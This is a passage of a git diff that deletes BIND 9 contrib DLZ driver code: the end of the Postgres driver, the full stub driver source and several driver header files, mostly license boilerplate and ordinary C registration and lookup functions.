-		case 6:
-			result = build_sqldbinstance(named_g_mctx, NULL, NULL,
-						     argv[5], argv[3], argv[4],
-						     NULL, &dbi);
-			break;
-		case 7:
-			result = build_sqldbinstance(named_g_mctx, argv[6],
-						     NULL, argv[5], argv[3],
-						     argv[4], NULL, &dbi);
-			break;
-		case 8:
-			result = build_sqldbinstance(named_g_mctx, argv[6],
-						     argv[7], argv[5], argv[3],
-						     argv[4], NULL, &dbi);
-			break;
-		default:
-			/* not really needed, should shut up compiler. */
-			result = ISC_R_FAILURE;
-		}
-
-		if (result == ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "Postgres driver created database "
-				      "instance object.");
-		} else { /* unsuccessful?, log err msg and cleanup. */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Postgres driver could not create "
-				      "database instance object.");
-			goto cleanup;
-		}
-
-		/* when multithreaded, build a list of DBI's */
-		ISC_LINK_INIT(dbi, link);
-		ISC_LIST_APPEND(*dblist, dbi, link);
-
-		/* create and set db connection */
-		dbi->dbconn = PQconnectdb(argv[2]);
-		/*
-		 * if db connection cannot be created, log err msg and
-		 * cleanup.
-		 */
-		if (dbi->dbconn == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Postgres driver could not allocate "
-				      "memory for database connection");
-			goto cleanup;
-		}
-
-		/* if we cannot connect the first time, try 3 more times. */
-		for (j = 0;
-		     PQstatus((PGconn *)dbi->dbconn) != CONNECTION_OK && j < 3;
-		     j++)
-			PQreset((PGconn *)dbi->dbconn);
-
-		/*
-		 * if multi threaded, let user know which connection
-		 * failed.  user could be attempting to create 10 db
-		 * connections and for some reason the db backend only
-		 * allows 9
-		 */
-		if (PQstatus((PGconn *)dbi->dbconn) != CONNECTION_OK) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Postgres driver failed to create "
-				      "database connection number %u "
-				      "after 4 attempts",
-				      i + 1);
-			goto cleanup;
-		}
-
-		/* set DBI = null for next loop through. */
-		dbi = NULL;
-	} /* end for loop */
-
-	/* set dbdata to the list we created. */
-	*dbdata = dblist;
-
-	/* hey, we got through all of that ok, return success. */
-	return (ISC_R_SUCCESS);
-
-cleanup:
-
-	/*
-	 * if multithreaded, we could fail because only 1 connection
-	 * couldn't be made.  We should cleanup the other successful
-	 * connections properly.
-	 */
-	postgres_destroy_dblist(dblist);
-
-	return (ISC_R_FAILURE);
-}
-
-/*%
- * destroy an instance of the driver.  Remember, only 1 copy of the driver's
- * code is ever loaded, the driver has to remember which context it's
- * operating in.  This is done via use of the dbdata argument.
- * so we really only need to clean it up since we are not using driverarg.
- */
-static void
-postgres_destroy(void *driverarg, void *dbdata) {
-	UNUSED(driverarg);
-	/* cleanup the list of DBI's */
-	postgres_destroy_dblist((db_list_t *)dbdata);
-}
-
-/* pointers to all our runtime methods. */
-/* this is used during driver registration */
-/* i.e. in dlz_postgres_init below. */
-static dns_sdlzmethods_t dlz_postgres_methods = {
-	postgres_create,
-	postgres_destroy,
-	postgres_findzone,
-	postgres_lookup,
-	postgres_authority,
-	postgres_allnodes,
-	postgres_allowzonexfr,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-};
-
-/*%
- * Wrapper around dns_sdlzregister().
- */
-isc_result_t
-dlz_postgres_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Registering DLZ postgres driver.");
-
-	/*
-	 * Driver is always threadsafe.  When multithreaded all
-	 * functions use multithreaded code.  When not multithreaded,
-	 * all functions can only be entered once, but only 1 thread
-	 * of operation is available in Bind.  So everything is still
-	 * threadsafe.
-	 */
-	result = dns_sdlzregister("postgres", &dlz_postgres_methods, NULL,
-				  DNS_SDLZFLAG_RELATIVEOWNER |
-					  DNS_SDLZFLAG_RELATIVERDATA |
-					  DNS_SDLZFLAG_THREADSAFE,
-				  named_g_mctx, &dlz_postgres);
-	/* if we can't register the driver, there are big problems. */
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-	}
-
-	return (result);
-}
-
-/*%
- * Wrapper around dns_sdlzunregister().
- */
-void
-dlz_postgres_clear(void) {
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unregistering DLZ postgres driver.");
-
-	/* unregister the driver. */
-	if (dlz_postgres != NULL) {
-		dns_sdlzunregister(&dlz_postgres);
-	}
-}
-
-#endif /* ifdef DLZ_POSTGRES */
diff --git a/contrib/dlz/drivers/dlz_stub_driver.c b/contrib/dlz/drivers/dlz_stub_driver.c
deleted file mode 100644
index 26b5aa8cd2..0000000000
--- a/contrib/dlz/drivers/dlz_stub_driver.c
+++ /dev/null
@@ -1,316 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_STUB
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-#include <dns/sdlz.h>
-
-#include <dlz/dlz_stub_driver.h>
-#include <named/globals.h>
-
-static dns_sdlzimplementation_t *dlz_stub = NULL;
-
-typedef struct config_data {
-	char *myzone;
-	char *myname;
-	char *myip;
-	isc_mem_t *mctx;
-} config_data_t;
-
-/*
- * SDLZ methods
- */
-
-static isc_result_t
-stub_dlz_allnodes(const char *zone, void *driverarg, void *dbdata,
-		  dns_sdlzallnodes_t *allnodes) {
-	config_data_t *cd;
-	isc_result_t result;
-
-	UNUSED(zone);
-	UNUSED(driverarg);
-
-	cd = (config_data_t *)dbdata;
-
-	result = dns_sdlz_putnamedrr(allnodes, cd->myname, "soa", 86400,
-				     "web root.localhost. "
-				     "0 28800 7200 604800 86400");
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_FAILURE);
-	}
-	result = dns_sdlz_putnamedrr(allnodes, "ns", "ns", 86400, cd->myname);
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_FAILURE);
-	}
-	result = dns_sdlz_putnamedrr(allnodes, cd->myname, "a", 1, cd->myip);
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_FAILURE);
-	}
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-stub_dlz_allowzonexfr(void *driverarg, void *dbdata, const char *name,
-		      const char *client) {
-	config_data_t *cd;
-
-	UNUSED(driverarg);
-	UNUSED(client);
-
-	cd = (config_data_t *)dbdata;
-
-	if (strcmp(name, cd->myname) == 0) {
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_NOTFOUND);
-}
-
-static isc_result_t
-stub_dlz_authority(const char *zone, void *driverarg, void *dbdata,
-		   dns_sdlzlookup_t *lookup) {
-	isc_result_t result;
-	config_data_t *cd;
-
-	UNUSED(driverarg);
-
-	cd = (config_data_t *)dbdata;
-
-	if (strcmp(zone, cd->myzone) == 0) {
-		result = dns_sdlz_putsoa(lookup, cd->myname, "root.localhost.",
-					 0);
-		if (result != ISC_R_SUCCESS) {
-			return (ISC_R_FAILURE);
-		}
-
-		result = dns_sdlz_putrr(lookup, "ns", 86400, cd->myname);
-		if (result != ISC_R_SUCCESS) {
-			return (ISC_R_FAILURE);
-		}
-
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_NOTFOUND);
-}
-
-static isc_result_t
-stub_dlz_findzonedb(void *driverarg, void *dbdata, const char *name,
-		    dns_clientinfomethods_t *methods,
-		    dns_clientinfo_t *clientinfo) {
-	config_data_t *cd;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	cd = (config_data_t *)dbdata;
-
-	/* Write info message to log */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "dlz_stub findzone looking for '%s'",
-		      name);
-
-	if (strcmp(cd->myzone, name) == 0) {
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-static isc_result_t
-stub_dlz_lookup(const char *zone, const char *name, void *driverarg,
-		void *dbdata, dns_sdlzlookup_t *lookup,
-		dns_clientinfomethods_t *methods,
-		dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	config_data_t *cd;
-
-	UNUSED(zone);
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	cd = (config_data_t *)dbdata;
-
-	if (strcmp(name, cd->myname) == 0) {
-		result = dns_sdlz_putrr(lookup, "a", 1, cd->myip);
-		if (result != ISC_R_SUCCESS) {
-			return (ISC_R_FAILURE);
-		}
-
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_FAILURE);
-}
-
-static isc_result_t
-stub_dlz_create(const char *dlzname, unsigned int argc, char *argv[],
-		void *driverarg, void **dbdata) {
-	config_data_t *cd;
-
-	UNUSED(driverarg);
-
-	if (argc < 4) {
-		return (ISC_R_FAILURE);
-	}
-	/*
-	 * Write info message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_INFO,
-		      "Loading '%s' using DLZ_stub driver. "
-		      "Zone: %s, Name: %s IP: %s",
-		      dlzname, argv[1], argv[2], argv[3]);
-
-	cd = isc_mem_get(named_g_mctx, sizeof(config_data_t));
-	if ((cd) == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	memset(cd, 0, sizeof(config_data_t));
-
-	cd->myzone = isc_mem_strdup(named_g_mctx, argv[1]);
-
-	cd->myname = isc_mem_strdup(named_g_mctx, argv[2]);
-
-	cd->myip = isc_mem_strdup(named_g_mctx, argv[3]);
-
-	isc_mem_attach(named_g_mctx, &cd->mctx);
-
-	*dbdata = cd;
-
-	return (ISC_R_SUCCESS);
-}
-
-static void
-stub_dlz_destroy(void *driverarg, void *dbdata) {
-	config_data_t *cd;
-	isc_mem_t *mctx;
-
-	UNUSED(driverarg);
-
-	cd = (config_data_t *)dbdata;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unloading DLZ_stub driver.");
-
-	isc_mem_free(named_g_mctx, cd->myzone);
-	isc_mem_free(named_g_mctx, cd->myname);
-	isc_mem_free(named_g_mctx, cd->myip);
-	mctx = cd->mctx;
-	isc_mem_putanddetach(&mctx, cd, sizeof(config_data_t));
-}
-
-static dns_sdlzmethods_t dlz_stub_methods = {
-	stub_dlz_create,
-	stub_dlz_destroy,
-	stub_dlz_findzonedb,
-	stub_dlz_lookup,
-	stub_dlz_authority,
-	stub_dlz_allnodes,
-	stub_dlz_allowzonexfr,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-};
-
-/*%
- * Wrapper around dns_sdlzregister().
- */
-isc_result_t
-dlz_stub_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Registering DLZ_stub driver.");
-
-	result = dns_sdlzregister("dlz_stub", &dlz_stub_methods, NULL,
-				  DNS_SDLZFLAG_RELATIVEOWNER |
-					  DNS_SDLZFLAG_RELATIVERDATA,
-				  named_g_mctx, &dlz_stub);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-	}
-
-	return (result);
-}
-
-/*
- * Wrapper around dns_sdlzunregister().
- */
-void
-dlz_stub_clear(void) {
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unregistering DLZ_stub driver.");
-
-	if (dlz_stub != NULL) {
-		dns_sdlzunregister(&dlz_stub);
-	}
-}
-
-#endif /* ifdef DLZ_STUB */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_bdb_driver.h b/contrib/dlz/drivers/include/dlz/dlz_bdb_driver.h
deleted file mode 100644
index b180832c96..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_bdb_driver.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_BDB_DRIVER_H
-#define DLZ_BDB_DRIVER_H
-
-isc_result_t
-dlz_bdb_init(void);
-
-void
-dlz_bdb_clear(void);
-
-#endif /* ifndef DLZ_BDB_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_bdbhpt_driver.h b/contrib/dlz/drivers/include/dlz/dlz_bdbhpt_driver.h
deleted file mode 100644
index 65a2b84ddd..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_bdbhpt_driver.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_BDBHPT_DRIVER_H
-#define DLZ_BDBHPT_DRIVER_H
-
-isc_result_t
-dlz_bdbhpt_init(void);
-
-void
-dlz_bdbhpt_clear(void);
-
-#endif /* ifndef DLZ_BDBHPT_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_dlopen_driver.h b/contrib/dlz/drivers/include/dlz/dlz_dlopen_driver.h
deleted file mode 100644
index e69de29bb2..0000000000
diff --git a/contrib/dlz/drivers/include/dlz/dlz_drivers.h b/contrib/dlz/drivers/include/dlz/dlz_drivers.h
deleted file mode 100644
index 483285c66f..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_drivers.h
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2005  Internet Systems Consortium, Inc. ("ISC")
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_DRIVERS_H
-#define DLZ_DRIVERS_H 1
-
-/*! \file */
-
-isc_result_t
-dlz_drivers_init(void);
-
-void
-dlz_drivers_clear(void);
-
-#endif /* DLZ_DRIVERS_H */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_filesystem_driver.h b/contrib/dlz/drivers/include/dlz/dlz_filesystem_driver.h
deleted file mode 100644
index a13c703371..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_filesystem_driver.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_FILESYSTEM_DRIVER_H
-#define DLZ_FILESYSTEM_DRIVER_H
-
-isc_result_t
-dlz_fs_init(void);
-
-void
-dlz_fs_clear(void);
-
-#endif /* ifndef DLZ_FILESYSTEM_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_ldap_driver.h b/contrib/dlz/drivers/include/dlz/dlz_ldap_driver.h
deleted file mode 100644
index 3df72858d9..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_ldap_driver.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_LDAP_DRIVER_H
-#define DLZ_LDAP_DRIVER_H
-
-isc_result_t
-dlz_ldap_init(void);
-
-void
-dlz_ldap_clear(void);
-
-#endif /* ifndef DLZ_LDAP_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_mysql_driver.h b/contrib/dlz/drivers/include/dlz/dlz_mysql_driver.h
deleted file mode 100644
index 68a0b540a2..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_mysql_driver.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef DLZ_MYSQL_DRIVER_H
-#define DLZ_MYSQL_DRIVER_H
-
-isc_result_t
-dlz_mysql_init(void);
-
-void
-dlz_mysql_clear(void);
-
-#endif /* ifndef DLZ_MYSQL_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/dlz/dlz_odbc_driver.h b/contrib/dlz/drivers/include/dlz/dlz_odbc_driver.h
deleted file mode 100644
index b3ed620b60..0000000000
--- a/contrib/dlz/drivers/include/dlz/dlz_odbc_driver.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
